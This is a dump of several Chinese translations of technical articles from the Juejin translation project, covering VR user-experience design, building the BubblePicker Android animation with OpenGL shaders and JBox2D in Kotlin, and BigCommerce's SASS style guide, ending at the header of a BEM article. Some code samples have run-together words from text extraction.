Hunter Hoffman )开发了一种虚拟现实游戏来帮助病人减轻疼痛。SnowWorld 试图直接将病人的注意力从疼痛转移到一个充满冰雪的世界里,在那里他们可以在企鹅中扔雪球。没错,是真的。 值得注意的是,报告显示 SnowWorld 的用户比那些尝试其他方法减缓疼痛的用户 [减少了 50% 以上的痛苦](https://thenextweb.com/insider/2017/05/09/study-vr-twice-as-effective-as-morphine-at-treating-pain/#.tnw_c6Wwxja2) —— 对于一个好的用户体验来说这意味着什么? ### 构建虚拟现实体验时的 UX 挑战 如果用户曾经有过不好的虚拟现实体验,他们可能会害怕尝试 VR 。所以 UX 设计,或者说 **好的 UX 设计**,必须是任何虚拟现实体验的核心要素。这意味着,从适当的灯光和流畅的动作到实际的设计,每个细节都必须认真考虑。 ### 增强虚拟现实中的用户体验 但是 UX 超越了虚拟现实。设备的设计也扮演着重要的角色。没有人想要佩戴笨重的耳机,沉沉地压着自己。为了提高虚拟现实的体验,制造一个轻量级和多功能的耳机是至关重要的,否则用户满脑子都是一个会让他们颈部疼痛的耳机,这样是无法完全沉浸在虚拟现实中的。 ### 让你的 VR 体验可信 虚拟现实提出的最重要的挑战之一是,VR 体验可能看起来或感觉上不是真实的。你能想象潜入凉爽的加勒比海水域,却只能发现设计拙劣的鱼和设计不当的地形吗? 虚拟现实体验的 UX 设计应该尽可能令人信服。这意味着让用户处于控制地位,完全把控体验。要让用户忘记他们身处模拟现实,一定要做到可交互。为了解决这个 UX 问题,许多虚拟现实体验都提供了 360 全角度的、完全身临其境的体验。 #### 虚拟现实在真实生活中的影响 VR 模拟现实的同时,也不要忘记使用 VR 会给真实生活造成影响。这意味着在虚拟现实体验中会让你感到恶心晕眩。不要惊讶,这是真的。和晕动病是一样的。 让人们拒绝 VR 的一点是使用过程中感到头痛和恶心。在**UI 设计**中,只需要避免任何快速移动或者速度变化,就能防止用户感到晕眩想吐。 ### 但是 UX 设计师可以在 VR 领域做些什么来验证实践呢? 首先,虚拟现实相关的 UX 设计师,要了解技术是如何实现的。可以看看 [AR 的本质](https://www.wareable.com/vr/how-does-vr-work-explained)。这意味着需要温习一些新词汇,比如能够区分头部跟踪(head tracking)和运动跟踪(motion tracking),能够了解 HMD 的含义等。 #### 了解 3D 相关工具的最新信息 作为 UX 的从业者,我们需要持续关注最新的技术发展,包括用户测试方法。 我们习惯于做 [用户测试](https://www.loop11.com/user-testing-a-mobile-app-prototype-essential-checklist/) 来帮助测试移动应用程序原型。 当我们开始一个新的设计时,持续和严格的用户测试可以帮助我们评估某些东西是否有效。 虚拟现实中的用户测试也有其明显的缺点:为大量用户提供多个 VR 耳机设备是昂贵且困难的,而且,测试附着在脸上的东西也是很复杂的。 了解 [虚拟现实用户测试](https://omobono.com/insights/blog/designing-vr-how-conquer-challenges-user-testing-vr) 背后的方法是非常重要的,不过想要征服它们也并非不可能。 站在用户肩膀上窥视的日子已经一去不复返了。 最后,虚拟现实为 UX 打开了许多扇门。但是虚拟现实的 UX 有些曲折。鼠标的指向和点击在设计有关面部和语音识别、动作追踪和潜在的脑电波的体验中会显得有些平庸。这些只是少许的 UX 设计师必须让自己了解的一些新的输入方式。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md ================================================ > * 原文地址:[How We Created BubblePicker – a Colorful Menu Animation for Android](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/) > * 原文作者:[Irina Galata](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/), [Yuliya Serbenenko](https://yalantis.com/blog/how-we-created-bubblepicker-a-colourful-animation-for-android/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[hackerkevin](https://github.com/hackerkevin) > * 校对者:[luoqiuyu](https://github.com/luoqiuyu) [phxnirvana](https://github.com/phxnirvana) # 如何创建 BubblePicker – Android 多彩菜单动画 # 我们已经习惯了移动应用丰富的交互方式,如滑动手势去选择、拖拽。但是我们没有察觉到,统一用户的跨平台体验是一个正在发生的趋势。 早期时候,iOS 和 Android 都有其独特的体验,但是在近期,这两个平台上的应用体验和交互在逐渐的靠拢。[底部导航](https://material.io/guidelines/components/bottom-navigation.html#)和分屏的特性已经成为Android Nougat版本的特性,Android 和 iOS 已经有了很多相同的地方了。 对于设计者而言,设计语言的融合意味着在一个平台上流行的特性可以适配到另一个平台。 最近,为了跟上跨平台风格的步伐,我们受 Apple music 上气泡动画的启发,用 Android 动画实现了一份。我们设计了一个接口,使得初学者也可以方便的使用,而且也让有经验的开发者觉得有趣。 使用 [BubblePicker](https://github.com/igalata/Bubble-Picker) 能让一个应用更加的聚焦内容、原汁原味和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言,但是我们依然决定在此时尝试大胆的颜色和渐变的效果,使得图像增加更多的深度和体积。渐变可能是界面显示最主要的视觉效果,也可能会吸引到更多的人使用。 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg) 我们的组件是白色背景,上面包含了很多明亮的颜色和图形。 这种高反差对丰富应用的内容很有帮助,在这里用户不得不从一系列选项列表中做出选择。比如,在我们的概念中,我们在旅行应用中使用气泡来持有潜在的目的地名称。气泡在自由的漂浮,当用户点击其中一个时,那个气泡就会变大。 ![](https://yalantis-com-dev-06-09.s3.amazonaws.com/uploads/ckeditor/pictures/2329/content_discover_animation.gif) 此外,开发者可以通过自定义屏幕中的元素使得动画适配任何应用。 当我们在制作这个动画的同时,我们要面对下面五个挑战: ### **1. 选择最佳开发工具** ### 很明显,在 Canvas 上渲染这样一个快速的动画效果不够高效,所以我们决定使用OpenGL (Open Graphics Library)。 OpenGL 是一个提供 2D 或 3D 图形渲染的、跨平台的应用程序接口。幸运的是,Android 支持一些 OpenGL 的版本。 我们需要让圆更加的自然,就像是汽水中的气泡。有很多物理引擎可用于 Android,但我们的特殊需求使得做出选择格外困难:这个引擎必须轻量而且方便嵌入 Android 库中。大多数引擎都是为游戏开发的,你必须使项目结构适应它们。经过一些研究,我们发现了 JBox2D (一个使用 C++ 开发的、 Java 端口的 Box2D 引擎);因为我们的动画并不支持很多数量的 body(换句话说,它不是为了200个或更多的对象设计的),我们可以使用 Java 端口而不是原生引擎。 另外,在本文的后面我们会解释为何选择了 Kotlin 语言编写,并且谈到这种新语言的优点。想要了解 Java 与 Kotlin 更多的区别,请访问[之前的文章](https://yalantis.com/blog/kotlin-vs-java-syntax/)。 ### **2. 创建着色器** ### 在开始的时候,我们需要先理解 OpenGL 中的构建块是三角形,因为三角形是能够模拟成其他形状中最简单的形状。你在 OpenGL 中创建出的任何形状,都包含了一个或多个三角形。为了实现动画,我们为每个 body 使用了两个组合三角形,所以看起来像个正方形,我们可以在里面画圆。 渲染一个形状至少需要写两个着色器 - 一个顶点着色器和一个片段着色器。它们的名称已经体现了各自的不同。对每个三角形的每个顶点执行一个顶点着色器,而对三角形中的每个像素大小的部分则执行片段着色器。 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2330/content_3.jpg) 顶点着色器通常被用于控制形状(如缩放、位置、旋转),而片段着色器负责控制其颜色。 ``` // language=GLSL val vertexShader = """ uniform mat4 u_Matrix; attribute vec4 a_Position; attribute vec2 a_UV; varying vec2 v_UV; void main() { gl_Position = u_Matrix * a_Position; v_UV = a_UV; } """// language=GLSL val fragmentShader = """ precision mediump float; uniform vec4 u_Background; uniform sampler2D u_Texture; varying vec2 v_UV; void main() { float distance = distance(vec2(0.5, 0.5), v_UV); gl_FragColor = mix(texture2D(u_Texture, v_UV), u_Background, smoothstep(0.49, 0.5, distance)); } """ ``` 着色器是使用 GLSL (OpenGL Shading Language) 编写的,必须在运行时编译。如果你用的是 Java 代码,最方便的方法是将你的着色器写到一个单独的文件中,然后使用输入流取回。如你所见,Kotlin 开发人员通过将任何多行代码放到三重引号(""")中,更方便的在类中创建着色器。 GLSL 有几种不同类型的变量: - 统一变量对所有顶点和片段持有相同的值 - 属性变量对每个顶点都不同 - 变化中变量将数据从顶点着色器传递到片段着色器,对于每个片段都是用线性内插法赋值 u_Move 变量包含了 x 和 y 两个值,用于表示顶点当前位置的移动增量。很明显,他们的值应该与一个形状中的所有顶点的该变量的值相同,类型也应该是相同的,虽然这些顶点各自的位置不同。a_Position 变量是属性变量,a_UV 变量用于以下两个目的: 1. 得到当前片段与正方形中心的距离;根据这个距离,我们能够改变片段的颜色来画圆。 2. 将纹理(照片和国家名称)放在图形的中心。 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2331/content_4.jpg) a_UV 变量包含了 x 和 y 两个变量,这两个值对每个顶点都不同但都在 0 和 1 之间。在顶点着色器中,我们将值从 a_UV 变量传递给 v_UV 变量,这样每个片段都会被插入 v_UV 变量。结果,形状中心片段的 v_UV 变量的值就是 [0.5, 0.5]。我们使用 distance() 方法来计算一个选中的片段到中心的距离。这个方法使用两点作为参数。 ### **3. 使用 smoothstep 方法画抗锯齿圆** ### 起初,我的片段着色器看起来有些不一样: ``` gl_FragColor = distance < 0.5 ? texture2D(u_Text, v_UV) : u_BgColor; ``` 我根据到中心的距离改变了片段颜色,没有使用抗锯齿。结果并不理想,圆的边缘被切开了。 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2332/content_6.jpg) smoothstep 方法可以解决这个问题。在纹理和背景间平滑插入由起点和终点决定的值,取值范围在 0 到 1 之间。。纹理的透明度在 0 到 0.49 之间值设为1,0.5 以上的为0,并且0.49 到 0.5 之间会被插入,所以圆的边缘会被抗锯齿。 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2333/content_7.jpg) ### **4. 使用纹理在 OpenGL 中显示图片和文本** ### 动画中的每个圆都有两个状态 - 正常状态和选中状态。在正常状态中,圆中的纹理包含了文字和颜色;在选中的状态,纹理则还会包含了一个图片。所以,对每个圆我们都应该创建两个不同的纹理。 为了创建纹理,我们使用一个 Bitmap 的实例,在实例里我们画出所有的元素并绑定纹理: ``` fun bindTextures(textureIds: IntArray, index: Int){ texture = bindTexture(textureIds, index * 2, false) imageTexture = bindTexture(textureIds, index * 2 + 1, true) } private fun bindTexture(textureIds: IntArray, index: Int, withImage: Boolean): Int { glGenTextures(1, textureIds, index) createBitmap(withImage).toTexture(textureIds[index]) return textureIds[index] } private fun createBitmap(withImage: Boolean): Bitmap { var bitmap = Bitmap.createBitmap(bitmapSize.toInt(), bitmapSize.toInt(), Bitmap.Config.ARGB_4444) val bitmapConfig: Bitmap.Config = bitmap.config ?: Bitmap.Config.ARGB_8888 bitmap = bitmap.copy(bitmapConfig, true) val canvas = Canvas(bitmap) if (withImage) drawImage(canvas) drawBackground(canvas, withImage) drawText(canvas) return bitmap } private fun drawBackground(canvas: Canvas, withImage: Boolean){ ... } private fun drawText(canvas: Canvas){ ... } private fun drawImage(canvas: Canvas){ ... } ``` 做完这些之后,我们将这个纹理传递给 u_Text 变量。我们通过 texture2D() 方法来获取一个片段的真实颜色,我们还能获得纹理单元和片段相对于其顶点的位置。 ### **5. 使用 JBox2D 让气泡移动** ### 从物理的角度,这个动画非常简单。主对象是一个 World 实例,所有的 body 都需要在这个 World 里创建: ``` classCircleBody(world: World, varposition: Vec2, varradius: Float, varincreasedRadius: Float) { val decreasedRadius: Float = radius val increasedDensity = 0.035f val decreasedDensity = 0.045f var isIncreasing = false var isDecreasing = false var physicalBody: Body var increased = falseprivate val shape: CircleShape get()= CircleShape().apply { m_radius = radius + 0.01f m_p.set(Vec2(0f, 0f)) } private val fixture: FixtureDef get()= FixtureDef().apply { this.shape = this@CircleBody.shape density = if (radius > decreasedRadius) decreasedDensity else increasedDensity } private val bodyDef: BodyDef get()= BodyDef().apply { type = BodyType.DYNAMIC this.position = this@CircleBody.position } init { physicalBody = world.createBody(bodyDef) physicalBody.createFixture(fixture) } } ``` 正如我们所见,body 容易创建:我们需要简单的制定 body 类型(如:dynamic, static, kinematic),position,radius,shape,density 和 fixture 属性。 当这个面被画出来,我们需要调用 World 的 step() 方法来移动所有的 body。然后,我们就可以在新的位置画出所有的形状了。 我们遇到一个问题,JBox2D 不能支持轨道重力。这样,我们就不能将圆移动到屏幕中间了。所以我们只能自己实现这个特性: ``` private val currentGravity: Float get()= if (touch) increasedGravity else gravity private fun move(body: CircleBody){ body.physicalBody.apply { val direction = gravityCenter.sub(position) val distance = direction.length() val gravity = if (body.increased) 1.3f * currentGravity else currentGravity if(distance > step * 200){ applyForce(direction.mul(gravity / distance.sqr()), position) } } } ``` ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2334/content_8.jpg) 每当 World 移动时,我们计算一个合适的力度作用于每个 body,使得看起来像是受到了重力的影响。 ### **6. 在 GlSurfaceView 中检测用户触摸事件** ### GLSurfaceView 和其他的 Android view 一样可以对用户触碰反应: ``` override fun onTouchEvent(event: MotionEvent): Boolean { when (event.action) { MotionEvent.ACTION_DOWN -> { startX = event.x startY = event.y previousX = event.x previousY = event.y } MotionEvent.ACTION_UP -> { if (isClick(event)) renderer.resize(event.x, event.y) renderer.release() } MotionEvent.ACTION_MOVE -> { if (isSwipe(event)) { renderer.swipe(event.x, event.y) previousX = event.x previousY = event.y } else { release() } } else -> release() } returntrue } private fun release()= postDelayed({ renderer.release() }, 1000) private fun isClick(event: MotionEvent)= Math.abs(event.x - startX) < 20 && Math.abs(event.y - startY) < 20private fun isSwipe(event: MotionEvent)= Math.abs(event.x - previousX) > 20 && Math.abs(event.y - previousY) > 20 ``` GLSurfaceView 拦截所有的触摸事件,渲染器处理它们: ``` //Rendererfun swipe(x: Float, y: Float)= Engine.swipe(x.convert(glView.width, scaleX), y.convert(glView.height, scaleY)) fun release()= Engine.release() fun Float.convert(size: Int, scale: Float) = (2f * (this / size.toFloat()) - 1f) / scale //Enginefun swipe(x: Float, y: Float){ gravityCenter.set(x * 2, -y * 2) touch = true } fun release(){ gravityCenter.setZero() touch = false } ``` 当用户滑动屏幕,我们增加重力并改变中心,在用户看来就像是控制了气泡的移动。当用户停止了滑动,我们将气泡恢复到初始状态。 ### **7. 通过用户触碰的坐标找到气泡** ### 当用户点击了一个圆,我们通过 onTouchEvent() 方法接收到了触碰点在屏幕上的坐标。但是,我们还需要找到被点击的圆在 OpenGL 坐标体系中的位置。默认情况下,GLSerfaceView 中心的坐标是 [0, 0],x 和 y 变量在 -1 到 1 之间。所以,我们还需要考虑到屏幕的比例: ``` private fun getItem(position: Vec2)= position.let { val x = it.x.convert(glView.width, scaleX) val y = it.y.convert(glView.height, scaleY) circles.find { Math.sqrt(((x - it.x).sqr() + (y - it.y).sqr()).toDouble()) <= it.radius } } ``` 当我们找到了选中的圆就改变它的半径、密度和纹理。 这是我们第一版 Bubble Picker,而且还将进一步完善。其他开发者可以自定义泡泡的物理行为,并指定 url 将图片添加到动画中。而且我们还将添加一些新的特性,比如移除泡泡。 请将你们的实验发给我们,让我们看到你是如何使用 Bubble Picker 的。如果对动画有任何问题或建议,请告诉我们。 我们会尽快发布更多干货。 敬请关注! 戳这里进一步查看 [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/how-we-css-at-bigcommerce.md ================================================ * 原文链接 : [How we "CSS" at BigCommerce](http://www.bigeng.io/how-we-css-at-bigcommerce/) * 原文作者 : [Simon Taggart](http://www.bigeng.io/author/simon-taggart/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [shenxn](https://github.com/shenxn) * 校对者: [CoderBOBO](https://github.com/CoderBOBO),[aleen42](https://github.com/aleen42),[Evaxtt](https://github.com/Evaxtt) * 状态 : 翻译完成 # 在 BigCommerce 我们如何编写 CSS [我们的《SASS风格指南 - SASS Style Guide》现在已经可以在GitHub上找到](https://github.com/bigcommerce/sass-style-guide) CSS 很难,而写出好的 CSS 代码更难。在一个大团队中,基于巨大的代码库写出好的 CSS 代码,更是难上加难。 我们并不是一家独一无二的软件公司:120个工程师,4间办公室,3个不同国家,3个时区,以及7年时间,代表着一个大家都很熟悉的代码库环境。每个人都有着一份干劲。这里有着30种不同风格的按钮,4种“品牌色彩”的变形,以及一个列举了互联网上所有 JavaScript 包的 package.json / bower.json 文件。CSS 与其他语言相比,看起来就像是一个被忽视的可的孩子,只得到了最少的关怀。CSS 没有固定的规范,没有约定,也没有內建工具来防止你写出只有自己看得懂的代码。CSS 就是一个雷区,我们困在其中,也有许多人会继续一头扎进来。 在 BigCommerce,我们认为至少可以通过设置一些基本规范,并且让每一个编写 CSS 的人遵循它们,来解决一些在编写大量 CSS 代码时经常会遇到的问题。我们的《SAAS 风格指南》并没有什么突破性的内容,并且其中的观点很像 AirBnB 的 [《JavaScript 风格指南 - JavaScript Style Guide》](https://github.com/airbnb/javascript)。我不会把那篇文章原封不动地复制到我的博客里,你可以[在 GitHub 上找到](https://github.com/bigcommerce/sass-style-guide)。同时我认为,详细解释一些具体规则并且列出我们使用的工具会更加有帮助。 ## 目标 首先,我们想要完成的并不是尝试去变得更加聪颖,前沿或高度地优化。我们遵循一个公开的策略:合理性高于优化,清晰高于精巧。我们的目标是让我们的代码库更容易在一个大型团队中交流与共享。你会注意到在整篇文档中出现了许多类似“可读且可理解的”、“简单的”、“在包含必要内容的前提下尽量精简”、以及“你能做不意味着你应该做”等语句,使我们在编写 CSS 方式上达成共识。 ## 原则 我们对 CSS 的贡献基于一些关于 CSS 和组件的指导性原则。我会提到一些对于我们来说非常重要的点,不管它们是关键点或是不那么显而易见的点: > 不要过早地优化你的代码;先保证代码容易阅读且容易理解。 我们的 CSS 代码基于 SAAS,准确来说是 SCSS 语法。SASS 是很强大的,同时也是很糟糕的。使用任何强大的工具,都会带来一个风险:软件工程师总是会做一件他们_非常_擅长的事:过度开发。 “你能做不意味着你应该做”这样的措辞在 SASS 中的应用会非常的多。我见到过一些非常复杂的 SASS 函数生成一串巧妙的 CSS 代码。而其中的危险在于:很多人根本不关注函数的输出。其实,这些输出是非常重要的,特别是代码的权重和特殊性(specificity)。同时,使用巧妙的语法或者选择器嵌套(类似[《父选择器前缀 - Parent Selector Suffix》](http://thesassway.com/news/sass-3-3-released#parent-selector-suffixes))会使代码变得简洁,但这会使代码在代码库中非常难以被搜索出来。 /* 尽量避免 */ .component { &-parentSelectorSuffix { ... } /* .component-parentSelectorSuffix {} */ .component-childSelector { ... } /* .component .component-childSelector {} */ .notSoObviousParentSelector & { ... } /* .notSoObviousParentSelector .component {} */ } 不要过度使用一些“巧妙”的技巧。这甚至会使得我难以理解你的代码并作出修改。如果你让代码更简单一些,并让预处理器去做那些巧妙的事情,那么我一定会感谢你的。 > 分解复杂的组件,并使得它们由简单的组件构成 不可否认,这是在 HTML 和 CSS 样式中撰写时最为重要的事情。BEM,SUITCSS,SMACSS等命名规范都是保持你代码模块化非常方便的工具,但是过分遵从这些“规范”会在处理一些深层嵌套的子元素时产生一些非常长非常复杂的类名。 尽早抽象出通用的子样式以防止产生像这样的可怕的选择器: .componentName__childName__otherChildName__thisIsSillyNow__nopeYouTotallyMissedThePointOfThis--modifier { … } > 使用混合(mixin)构建你的组件以便输出可定义的CSS 这是一个很有趣的点。我们作为一个团队,以一种特定的方式编写样式、公共标记和 CSS 规则以在 UI 中显示一种特定类型的数据。我们的框架不会默认输出 CSS,你必须选择你想要的组件。 同时,我们的框架服务多个不同的领域。由于这其中的数据可能是一样的,样式可能也是相似的,但种种原因使得我们选择的通用样式命名并不适用。也许我们的 “card” 组件在你领域的代码库下叫做 "product" 更加合适。所以我们构建的所有组件都是混合型组件,并包装在一个通用的类名内。 /* 以 media 对象作为例子 */ .media { @include media; } .mediaTable { @include media("table"); } 因为你可以自定义生成的 CSS 代码,你就可以自由地重命名你选择的组件和引用 mixin。同时你依然遵循设计样式。 ## 一些需要强调的规则 在这里,我将就如何构建一个用于稍大项目的优秀代码库强调几个关键规则。 #### 特殊性(Specificity) [(链接)](https://github.com/bigcommerce/sass-style-guide#specificity) 尽量使用具有低特殊性的选择器。这会帮助你把组件抽象成小块,并更容易重用和重混合样式。同时,这能防止你的代码在将来产生很多特殊性冲突(Specificity Clash)。 /* 避免使用ID */ #component { … } /* 避免使用子标签 */ .component h2 { … } /* 避免使用有条件的标签选择器 */ div.component { … } /* 避免使用过于具体的选择器 */ ul.component li span a:hover { … } #### 声明属性 [(链接)](https://github.com/bigcommerce/sass-style-guide#when-declaring-values) 在构建一个大的样式代码库时,试图只定义那些你明确关注的属性,以防止过度重置你想要继承的属性。 * 使用 `background-color: #333;` 而不是 `background: #333` * 使用 `margin-top: 10px;` 而不是 `margin: 10px 0 0;` 举例来说,在使用 background 简略写法时,你将会重设`background-position`, `background-image`, `background-size`等你不想重设的属性。 #### 声明顺序 [(链接)](https://github.com/bigcommerce/sass-style-guide#declaration-order) 首先使用 `@extend`,然后使用 `@include`,最后设置你的属性。理论上来说,extend 和 include 不需要覆盖你的属性。同时,根据我的习惯,我总是按照**字母顺序**排列属性。 不同的人喜欢不同的方式来组合他们的 CSS 属性,每当有新人加入时,不要强迫他们学习你的观点或者是逻辑。事实上,属性的顺序并不重要,为了能够达成共识,并做到可预测和可广泛使用,我们会使用字母顺序,因为绝大多数人都知道字母表,并且按字母顺序排序可以让你更快找到重复定义。 .component { @extend %a-placeholder; @include silly-links; color: #aaa; left: 0; line-height: 1.25; min-height: 400px; padding: 0 20px; top: 0; width: 150px; } #### 嵌套(Nesting) [(链接)](https://github.com/bigcommerce/sass-style-guide#nesting) 不要使用,或者至少是尽量少用。 你编译好的代码很容易被遗忘。当你在 SASS 中使用嵌套来构造选择器时,你会很容易破坏[特殊性](https://github.com/bigcommerce/sass-style-guide#specificity)和[性能](https://github.com/bigcommerce/sass-style-guide#performance)指导原则。你能做不意味着你应该做。我们最多只使用1层嵌套。 .panel-body { position: relative; } .panel-sideBar { z-index: 10; } .panel-sideBar-item { cursor: pointer; } .panel-sideBar-item-label { color: #AEAEAE; &.has-smallFont { font-size: 13px; } } #### 变量名 [(链接)](https://github.com/bigcommerce/sass-style-guide#variables) 抽象你的变量名称。不要使用你设置的颜色等来命名你的变量。使用颜色命名的变量不再是一个变量了,并且当你想把变量 `$background-color-blue` 的值改成 red 的时候,使用这样的变量与查找和替换一个十六进制颜色码就没有区别了。 * 使用 `$color-brandPrimary` 而不是 `$bigcommerceBlue` #### 映射(Map)以及映射函数(Map Function) [(链接)](https://github.com/bigcommerce/sass-style-guide#component--micro-app-level-variables) 正如 Erskine Design 的[《SASS映射中更友好的颜色名称 - Friendlier colour names with SASS maps》](http://erskinedesign.com/blog/friendlier-colour-names-sass-maps/)所描述的,我们使用 SASS 映射来完成大量全局样式属性,不仅仅是颜色这种我们开发者经常需要用到的属性。 SASS 为映射提供了一个简单且可预测的 API,并且可以用于大量属性类似 z-index,font-weight 和 line-height。我们会在将来的一篇博客中更详细讲述这个主题。 color: color("grey", "darker"); font-size: fontSize("largest"); line-height: lineHeight("smaller"); z-index: zIndex("highest"); #### 组件命名规则 [(链接)](https://github.com/bigcommerce/sass-style-guide#components) 我们深受 [SuitCSS](http://suitcss.github.io/) 的启发,并且将其规则稍稍改动以符合我们的口味和需求。比如说,我们使用驼峰命名法(Camel Case)替代 Pascal 命名法(Pascal Case)。 正如我之前提到的,正确命名你的继承是非常重要的,因此我们使用了一些相当实用的方法。一个元素是你组件根的继承的继承,不意味着它在 DOM 中_必须_处在那个层级,它可以在与第一个继承相邻的位置完成相同的功能。
      {$alt} ...
      ...
      当我们处理一些复数的东西时,也许单数形式的继承名字会更合适,并且最好不要附加父元素的名字。
      所以,我们最好尽可能去精简类名以防止其过于冗长,但我们依然需要保证包含了必要的内容。 #### 工具和执行 正如我之前提到的,我们新的 CSS 代码库是基于 SASS 的,并且像其他的流行库一样使用 [libSass](http://sass-lang.com/libsass) 来编译我们的样式表。然而还存在一些项目使用 Ruby 来编译 Sass,以致其性能的下降是非常明显。 我也提到了让你的编译器来做一些巧妙的事情。其中一个例子就是浏览器引擎前缀(Vendor Prefixes)。我们在 SASS 处理完成后使用 Autoprefixer 来自动添加浏览器引擎前缀,而不是使用不同浏览器专用的实现来扰乱我们的代码,或是让 SASS 做一些额外的 Grunt 任务。 #### 优化 关于输出优化,我们在每次部署核心CSS库的时候使用 [CSSO](http://css.github.io/csso/)来优化我们的代码。CSSO 会做一些常见的操作如通过删除空白符来压缩文件等,但是 CSSO 也会对我们的代码进行一些结构优化:从不同的组件中将相似的选择器分组,尽量缩减语法,并除去由于我们使用更多“共识”和“清晰高于精巧”原则所带来的影响。我知道这听起来有些风险,但是到目前为止我们都没有发现任何问题并且 CSSO 一直都运作良好。 我知道你们中的一些人会在阅读指南的时候惊讶于我们一些规则引入的“重复代码”。然而 CSSO 帮助我们处理这些问题,并且我们依赖Gzip来移除可能剩下的重复代码片段。这使得我们的代码库可读,清晰并且容易理解。让工具来帮你做事。 #### 审查 最后,你如何检查你的团队成员是否遵从这些规则呢?一个好的 Pull Request 规则在大多数时候是有效的,但是对于一个大团队来说这并不只是一个小团队规则的放大版本。 当我们编写代码和在核心库上创建 Pull Request 时,我们使用 [scss-lint](https://github.com/brigade/scss-lint) 来分析我们的代码。如果代码不符合风格指南,你的代码不会在你的机器上构建,Travis 会失败,你的 Pull Request 也会被标记为失败。我们使用[YAML文件描述我们的规则 set](https://github.com/bigcommerce/sass-style-guide/blob/master/.scss-lint.yml),这帮助我们非常接近风格指南,所以任何人都可以遵守。这个配置也被储存在我们开始所有新前端项目的公共 Grunt 任务上,所以你的 CSS 代码总是能被审查。 ## 到底发生了什么 尽管我们已经尽力了,要把这些观点应用在一个大型的团队中依然非常困难。工具能够对你有所帮助,但是你依然可能编写出那些只是功能上满足但是并不好的 CSS 代码。 与工具和指南相比,我们发现教育和训练是更好用的。我尤其发现很多时候你真的需要在为时已晚之前从你在 CSS 上犯的错误中学习。编写只是功能上满足的 CSS 代码是很容易的,要花一些时间去学习这样的代码在整个生态系统中扮演着怎样的角色,并尝试预测这会带来什么副作用。 从好的方面来说,把我们的审查规则作为我们插件包的一部分确实能使风格指南易于被采用,并且人们都认为这非常实用。我们在基于映射的属性(像 fonts,sizes,spacing,line,heights 和 z-index)中使用的规则对于我们的 JavaScript 工程师也帮助非常大,因为这些都是可预测而且便于记忆的。 在大团队中基于大代码库编写 CSS 是非常困难的,但是你可以通过使用一些指南,工具和训练来帮助你的团队成员保持一致。总体来说,我觉得我们到目前为止都做得很好。 我知道你们一些人可能会说“可是X把这个处理得更好”。我希望能介绍一些出色的人在这个问题上是怎么做的,参考[《JavaScript 中 的CSS - CSS in JavaScript》](https://github.com/MicheleBertoli/css-in-js),[《内联 CSS - Inline CSS》](https://speakerdeck.com/vjeux/react-css-in-js)以及[《CSS 模块 - CSS Modules》](http://glenmaddern.com/articles/css-modules)。我不会通过贬损这些处理方法,来保护那种编写CSS的老式方法,然而的确有一些原因使得我们没有按照那些方法去做。有一些问题是我们无法解决的;有一些问题我们真的很喜欢使用CSS来解决,比如使用媒体查询(Media Query)。大多数上面的观点和方法都是 从React 这个我们不使用的生态环境中来的。大多数也是来自于一些更幸运的环境比如大多数前端都已经是 JavaScript,但我们的并不是。只是因为你们的代码库比我们的更新,更小,或者你们有更多钱和更多工程师,但这并不意味着我们是错的或者你们是错的。 #### 总结 这就是我们的全部内容了。着眼于我们、以及很多不是 Facebook 团队或不是生活在理想世界中的团队所生存的环境和生态系统。 我希望这能够帮助你,因为使用一个有理有据的、实用的、并且通俗易懂的代码风格指南,以及一些预处理工具和代码审查,我们将能够在一个巨大的 CSS 代码库中找到乐趣。 很明显,文章中的很多内容都没有被着重阐明。我们将会发表一些其他关于“我们如何编写 CSS”以及我们如何让事情“不那么糟糕”的文章。我们将会解答: * 我们的 CSS 框架——Citadel,以及它如何帮助我们减少代码和在不同领域的团队间共享代码。 * 构建自适应浏览器宽度的组件时使用的响应式和可伸缩设计样式。 * 创建一个简单的开发接口来处理公共属性。 * 为你的组织创建一个即时的 Pattern-Lab。 * 处理一个企业范围的设计样式库的技巧 ================================================ FILE: TODO/how-we-use-bem-to-modularise-our-css.md ================================================ >* 原文链接 : [How we use BEM to modularise our CSS](https://m.alphasights.com/how-we-use-bem-to-modularise-our-css-82a0c39463b0#.qjqyfixfr) * 原文作者 : [Andrei Popa](https://medium.com/@deioo) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [杨龙龙](https://github.com/yllziv) * 校对者: 